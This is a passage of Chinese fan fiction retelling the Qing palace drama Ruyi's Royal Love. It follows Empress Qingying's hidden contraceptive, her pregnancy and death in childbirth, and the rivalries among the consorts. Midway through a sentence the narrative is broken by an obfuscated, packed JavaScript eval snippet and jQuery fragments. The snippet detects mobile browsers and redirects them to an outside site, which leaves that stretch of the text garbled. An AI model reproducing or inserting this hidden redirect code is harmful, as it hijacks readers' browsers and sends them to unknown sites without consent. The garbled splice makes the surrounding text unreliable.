青樱跪下道:“臣妾害怕,渚英姐姐与琅嬅姐姐都是难产而亡,臣妾,真的很怕。臣妾承宠多年都无子嗣,如今年近四十,几场病下来,身子一日不如一日。年轻时,天天坐在牌桌前,几个时辰都不知疲惫。如今,不到半个时辰就觉得头晕。这样的身子,又如何为皇上诞下健康的孩子? 臣妾知道,私自用药,是宫中大忌。只是臣妾怕死,所以偷偷让慎嫔帮臣妾去宫外找。慎嫔是臣妾一手提拔,之前令嫔已经被人说忘恩负义了,为此被宫中其他嫔妃排挤,慎嫔更不敢违逆臣妾了。” 皇帝冷冷看着青樱,看得她冷汗淋漓,同慎嫔一样瑟瑟发抖起来。他心知青樱这样是有演的成分,但是多年感情,他又深知青樱是个自私自利的享乐主义,一开始的暴怒过后,很快接受了,这的确是青樱能做出来的事。 青樱这个年纪,本就难有子嗣,且皇帝也不希望再难产死一个皇后。而且青樱找个药都能被人发现,这无能又令皇帝稍稍放心了点,毕竟他是个喜欢打压女人、PUA女人的小人。 欣赏够青樱与阿箬胆战心惊的样子,皇帝才下了旨,将阿箬降为贵人,禁足咸福宫。 当晚,翊坤宫,皇上久违的临幸了青樱。青樱知道皇帝必要把这口气出了,这事才能翻篇,任由皇帝折腾。 青樱一直是有脾气的,她和后宫的其他女人都不一样,她一直是不服气的。皇帝很清楚,他一直想要磨掉青樱的脾气,让她服气。就像他驯服富察琅嬅那样。 这一晚他觉得自己做到了,他甚至想将阿箬也唤过来,好完成多年前未完成的那件事。可最后他还是克制住了,这是他的皇后,而他暂时没有换一个皇后的打算。 这一晚之后,皇上再没来过翊坤宫。 10.青樱(6) 阿箬降位、禁足,青樱失宠,海兰与魏嬿婉急得不行,问又问不出原因,只能一个更加紧紧抓住宫权,一个使尽手段争宠。 金玉研不知青樱要零陵香是自用,还以为是她是在针对魏嬿婉。她满心以为自己捏着魏嬿婉的把柄,又“好心”告知魏嬿婉皇后要害她的事情,魏嬿婉就该听任自己摆布,谁知魏嬿婉却对金玉研阳奉阴违,这惹恼了志得意满的金玉研。 棘手的海兰一时不能铲除,那便铲除不听话的魏嬿婉吧。 于是凌云彻被金玉研挖了出来,金玉研亲自上阵告发了魏嬿婉。 秉着越丢人的事就要闹得越大,青樱将后宫嫔位以上的人都叫来了翊坤宫,和皇帝一同审问魏嬿婉。 纯嫔道:“先是慎贵人,再是令嫔,都辜负了皇后娘娘举荐你们的心意,臣妾真为皇后娘娘不值。” “事情还没查清,纯嫔就给令嫔定罪了?平时除了请安,也不见你来翊坤宫,只见你去启祥宫,如今倒替皇后娘娘不值起来了。”瑜嫔冷冷道。她再不喜魏嬿婉,如今皇后阵营只剩她们两个能打的人了。 纯嫔便讪讪的不说话了,嘉妃知道她不能打,也没指望她做什么。 青樱道:“当初,令嫔在四执库中,除了几个要好的宫女,是还有一个在宫外便认识的同乡。只是当时令嫔才十四,每日里干不完的活,只有托人给家里带东西时,才会去找这个同乡。” 嘉妃道:“皇后娘娘举荐令嫔之前,自然查过她的事。只是这侍卫与宫女有私情,自然是瞒着人的,皇后娘娘没查出来也是正常。” “有没有私情,就靠那侍卫一张嘴?他眼看着当年的小宫女一朝翻身当了宠妃,自己还是个最低等的侍卫,心里不平衡胡乱攀扯,能和陛下的女人扯上关系,也算是他人生中最高光的一刻了。”青樱道。 皇帝被这马屁拍的很舒服,他本就不信魏嬿婉会和一个侍卫有私情,要不是金玉研当着众人的面举报,他本欲只问魏嬿婉一人便可,连那侍卫都不打算审。 “自然是有物证的!”凌云彻忙道,他被嘉妃拿了把柄,知道自己这条命肯定是要交代了的,只是死前他也要拉下魏嬿婉,也算死得有价值,“微臣曾送给令嫔一个刻着燕舞云间的红宝石戒指!” “红宝石戒指?臣妾倒是见令嫔戴过几次,因为质地简朴,不像皇上赏的,所以印象很深呢。”纯嫔再次捧哏道。 皇帝冷冷地看了纯嫔一眼,纯嫔忙低下头。她本就没什么宠爱了,若是金玉研真能上位,她就能像瑜嫔一样插手宫务了。凭什么,瑜嫔都不承宠也没儿子,也和自己一样是一宫主位,因着随舒妃协力宫务,在宫里混得比自己还好。 青樱与海兰打过头阵,如今轮到魏嬿婉了。魏嬿婉只盯着皇上泪眼婆娑道:“这位凌侍卫,与臣妾家里人相识,臣妾年幼时见过几次,入宫后也曾拖他往家里寄信。自臣妾到皇后娘娘宫里,皇后娘娘言明日后要向皇上举荐臣妾,臣妾为避嫌,便没有再见过任何外男。 至于这戒指,是臣妾的阿玛留给臣妾的,当时家里艰难,阿玛只买得起便宜货。他便亲自刻了燕子飞舞的图样,希望臣妾能像燕子一样自由自在。 臣妾发誓,与凌侍卫只有过几面之缘,绝对没有私情。自见过陛下后,臣妾心里便只有陛下,再无其他人了。” “明明就是我送的戒指!燕舞云间,便是含了你我的名讳!”凌云彻不死心道。 “够了,这侍卫敢攀扯令嫔,拖下去仗责一百,撵出宫去!”皇帝已经得到了他想要的答案,不耐烦继续再审,给了李玉一个眼神,示意他去解决凌云彻。 被青樱提前吩咐过的小太监立刻上前堵住了凌云彻的嘴拖了出去,金玉研见皇帝已经为此事定了性,见好就收,道:“这个侍卫当时说的言之凿凿,臣妾怕万一真的是令嫔欺瞒了陛下,才想着替他在陛下跟前陈情。是臣妾一时心急,倒给歹人当了帮凶,险些冤枉了令嫔妹妹。” 奸情嘛,哪怕捕风捉影,只要在皇帝心里种下了怀疑的种子,令嫔失宠指日可待。凭什么只有她一个人被皇帝疑心,要疑心就大家一起! 青樱道:“你是自己立身不正,所以见旁人都有奸情。嘉妃与如今的玉氏王爷有情,手腕上的手串便是定情信物。” 贞淑回玉氏后,便为金玉研抹去了所有证据。便是这手串,只要金玉研咬死了是王爷代表玉氏送给她留作思乡念想的,这上面可没刻什么燕子啊字的,谁也证明不了她与王爷有私情。 所以青樱这话一出,金玉研也不慌,她敢戴着这手串招摇,便是认定了青樱不能拿她怎样,所以故意在她跟前挑衅。 如今青樱这般说,金玉研也只当她狗急跳墙,只能过过嘴瘾。 “皇后娘娘再不喜臣妾,也不可污蔑臣妾与玉氏的名声。” “怎么,只许你拿没影儿的事污蔑别人?”青樱嘲道。 金玉研越发认定了她只是过嘴瘾,委屈地看向皇上:“皇上,您就这样看着皇后娘娘作践臣妾?臣妾为您生了三个皇子,臣妾的脸面不重要,三个皇子的脸面也不重要吗?” 话说到这份上,皇上心里再气金玉研搞事,也不得不开口了:“到此为止,今日的事谁也不许多嘴。” 不管事魏嬿婉和凌云彻的事,还是金玉研和玉氏王爷的事。 青樱却不肯住嘴,继续道:“嘉妃,你一心想当皇后,让你的儿子当皇帝。可你是玉氏人,除非后宫里其他嫔妃死没了,其他皇子也没死了,才能轮到你们母子。” 众人被青樱久违了的大胆言辞震惊到了,尤其是来的晚的意欢和魏嬿婉,没见过她当面掀太后老底的场面,只觉得皇后娘娘也太猛了点。 皇上第一个反应过来,道:“突然说这些做什么?还嫌今天的事闹得不够大?” 青樱淡淡一笑,道:“臣妾有身孕了,这孩子怕是嘉妃的眼中钉、肉中刺,臣妾怕像当年的玫嫔那样,被嘉妃身边的人害了。” 皇上都顾不上生气了,忙喊了太医来给青樱确诊,嫌其他人碍眼,将嫔妃全都打发出去了。 纯嫔心里一咯噔,皇后若真生了嫡子,那嘉妃的三个儿子不都要靠边站?皇后地位越稳,嘉妃上位可能越低,自己不就越惨?谁能想到皇后快四十了还能生?早知道不那么快站队了! 海兰与魏嬿婉狂喜之余,也没忘了纯嫔,动不了三个儿子的嘉妃,还动不了你纯嫔吗,便一左一右夹着纯嫔走了。 嘉妃浑浑噩噩回了启祥宫,皇上没有驳斥皇后的话,难道,难道皇后的话是真的? 至于皇后的胎,她倒不是很在乎,先不说是男是女,和永城都差了多少岁了,永城都快到上朝办差事的年纪了。说不准就和富察琅嬅的那两个儿子一样,早早夭折了。 只是若真因为玉氏血脉,导致永城的继位可能降低,难道自己真要将皇帝其他儿子都弄死,让他没有其他选择?先不说这事难度有多大,今日皇后这话一出,宫里再有其他皇子出事,皇上第一个怀疑的就是自己! 他本就因为贞淑的事,这么多年来一直在疑心自己! 金玉研苦笑不已,论为皇上种下疑心的手段,她是真比不上皇后啊。 魏嬿婉是单纯为皇后有孕高兴,海兰高兴过后,很快开始担心。就像青樱知道海兰不想承宠,海兰也知道青樱不想怀孕。如今这一胎,令帝后关系破冰,压了金玉研的气焰,短时间内看是好事。但青樱的年龄摆在这里,海兰是真的担心。 皇帝也是,最初的高兴过后,当初青樱请罪的话便开始回响在耳边。他问过太医,太医说青樱气血有亏,其他倒还好。他一直以为零陵香是青樱第一次命阿箬去找时就被他发现了,并不知道青樱之前便用过很多年了。 太医,呵呵,这里的太医只在剧情需要的时候才能看出问题来,而且谁也不会在皇上兴头上去泼冷水,多一事不如少一事。 阿箬被放了出来,复位嫔位。她一心盼着青樱能生个健康的孩子,不拘男女,她始终觉得孩子才是女人地位稳固的保证。 “命若没了,再多的保证又有什么用呢。”青樱叹道。 海兰低声问道:“姐姐,你,你是不是也不喜欢皇上。” 因为她也不喜欢,所以她能看明白,青樱的抵触。不光是因为她怕死,她不想生孩子,还因为孩子的父亲是那样一个男人。 “最初,还算喜欢过。年轻,帅气,是个王爷,还挺宠我。我发脾气,他还觉得是情趣,会哄我顺着我。后来,他抬举我,给富察琅嬅没脸,我就觉得没意思了。再后来,他的女人越来越多,越来越不把人当人看。他一碰我,我就觉得烦。” 可笑的是,这么多年来,哪怕青樱并不配合,皇上也一直孜孜不倦地抬着她去打压富察琅嬅。他以为,这两个女人是不可能和平共处的,青樱对富察琅嬅是利用和嫉妒,而富察琅嬅为了讨好他才会厚待青樱。 青樱摸着还未显怀的肚子,心里是越来越重的恐慌与不甘。她担心零陵香效用减弱,所以才让阿箬去寻新的,紧接着便被皇上发现了,然后便是那次承宠导致有孕。 她的身体其实并没有被调理到适宜怀孕的状态,她又这个年纪了,在现代都是高危孕妇,更何况在这个癫宫。 所以那天她必须说出那番话,逼得金玉研不敢对她动手脚。 但除了金玉研,还有一个蛰伏的太后,蠢蠢欲动的纯嫔,也许还有其他未知的隐患。 她只能相信身边这三个女人,她一手提拔上来的嫔妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288131|166580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,与她一荣俱荣、一损俱损的战友。 阿箬、海兰、魏嬿婉互相看对方不顺眼,也没少给对方使绊子,说坏话,争皇上的宠,争皇后的重视,但此刻,她们空前的团结起来。 怀都坏了,青樱只能想尽办法把这孩子平安生下来。一直想往青樱身边凑的李玉,青樱之前都不怎么搭理他,现在也开始给笑脸了。至于江与彬,此人医术成谜,青樱宁可用包太医也不用他。田姥姥也早早地被青樱召进宫里,先赏了五百两银子,再让包太医给她女儿治病。 魏嬿婉偷偷摸摸和进忠搭上了,没法子,李玉献殷勤太明显了,脑子也不是很清楚的样子,万一哪天被金玉研再告上一状,这人就废了。她得再准备一条暗线。 纯嫔“病”了,海兰接手了阿哥所和公主所。阿箬让他爹把包太医和田姥姥家里好好的查了查,确保这两人没有问题。 景瑟入宫陪了青樱几天,不知道为何,此时的青樱总让她想起当年怀着五弟的皇额娘。 皇帝对这一胎的重视,也让景瑟有一种既视感。他只看着皇后的肚子,却不是看着皇后这个人。 但哪怕众人都竭尽全力想要保住青樱,保住她的孩子,死亡的阴影依然降临在了翊坤宫的产房,就像它当初决绝的带走了富察琅嬅一般。 青樱难产而亡后,阿箬这个心腹被迁怒,彻底失了宠。皇上只觉得一切都是青樱的错,是她自己多思多虑,绝对不是他这个皇帝克妻。那么多女人都在生孩子,金玉研生了三个都好好地,只有富察琅嬅,还有青樱,一天天的想那么多事,才会难产死了! 海兰因为能帮舒妃管宫务,这么多年没有功劳也有苦劳,皇帝暂时没有动她。等舒妃有了身孕,皇帝生怕再没一个,还给海兰提了位份,将宫务全权交给海兰,让舒妃专心养胎。 而魏嬿婉,她揣摩着皇帝的心意,将自己捏成皇帝喜爱的样子,很快也升到了妃位,成了如今后宫最受宠的女人。 哪怕金玉研想要拿魏嬿婉曾与丽心一同侍奉皇帝的事情来拿捏她,如今以魏嬿婉受宠的程度,真闹出来,皇帝肯定偏袒魏嬿婉的。而金玉研一而再、再而三的针对新晋宠妃,只会让皇上加重皇上对她的厌弃。 舒妃这一胎生的艰难,太后想要将这孩子抱去养,皇上想了想,同意了。他要再看一看,舒妃和太后到底是不是一条心。且小阿哥病恹恹的,若是死了,正好拿来做把柄,绝了太后再想抱养阿哥的心。 舒妃舍不得孩子,一直求皇上想要把孩子抱回来养,结果还没等皇上松口,小阿哥就夭折了。在皇上的推波助澜下,舒妃和太后彻底撕破脸了。而太后弄权的名声也在这么多年来一次次插手后宫中越发的响亮了,最后大臣们接连上书,逼得她不得不再次去了凌云峰,这一次,她想回来就更难了。 金玉研怀了第四胎,顺利的生了下来,依然是个儿子。皇帝在欢喜之余,心里的疑影越来越重。为什么,这么多年来,只有金玉研一直在平安无事的生儿子,个个都健康的长大了。 金玉研最后死在了皇上日复一日的猜忌中,她很清楚,只有她死,她的儿子们才能平安。 仿佛在印证皇帝的猜想,金玉研死后,魏嬿婉开始接连生产,连着三胎母子平安。 宫里流言纷纷,舒妃怔怔的听着宫人传话,金玉研死了,她想质问都找不到人。她去问皇上,皇上自然不会承认。她去问瑜妃,问令妃,她们却说:“我与嘉妃有仇,我的话,你信吗?” 皇上想让舒妃抚养嘉妃生的九阿哥,舒妃不肯,哭着说自己只有八阿哥这一个孩子。 最后还是纯嫔抱去养了,如今宫里只有她一人有抚养孩子的经验。 魏嬿婉生到第四胎时,凶险得很,多年来透明人一样的阿箬在养心殿外跪了一夜,皇上才愿意见她一面。 阿箬出了养心殿,便将新寻来的零陵香给了魏嬿婉。 “你已生了两子两女,足够了,陛下怕你死了。他始终不肯承认,生育对女人来说是多么可怕的一件事。他要你活着,和金玉研一样,证明皇后娘娘当初的担忧是错误的。” 魏嬿婉哭了,这些年,她拼了命的争宠,豁出命去连连生子,生怕皇上像迁怒阿箬那样迁怒她。她知道皇上的心结,她要证明皇上是对的,皇后是错的,这样皇上才会宠爱她。 因为不会再有一个人站在她跟前,替她承担皇上的怒火,指引她正确的道路,就像一个母亲、一个姐姐那样去照拂她。 寒香见入宫时,魏嬿婉已经是掌管后宫的皇贵妃。 魏嬿婉静静地看着寒香见眼中的不驯与不甘,看着皇上眼中的惊艳与欲望。 我会庇佑她,她想着,就像当年孝贤皇后对皇后那样,就像当年皇后对我那样。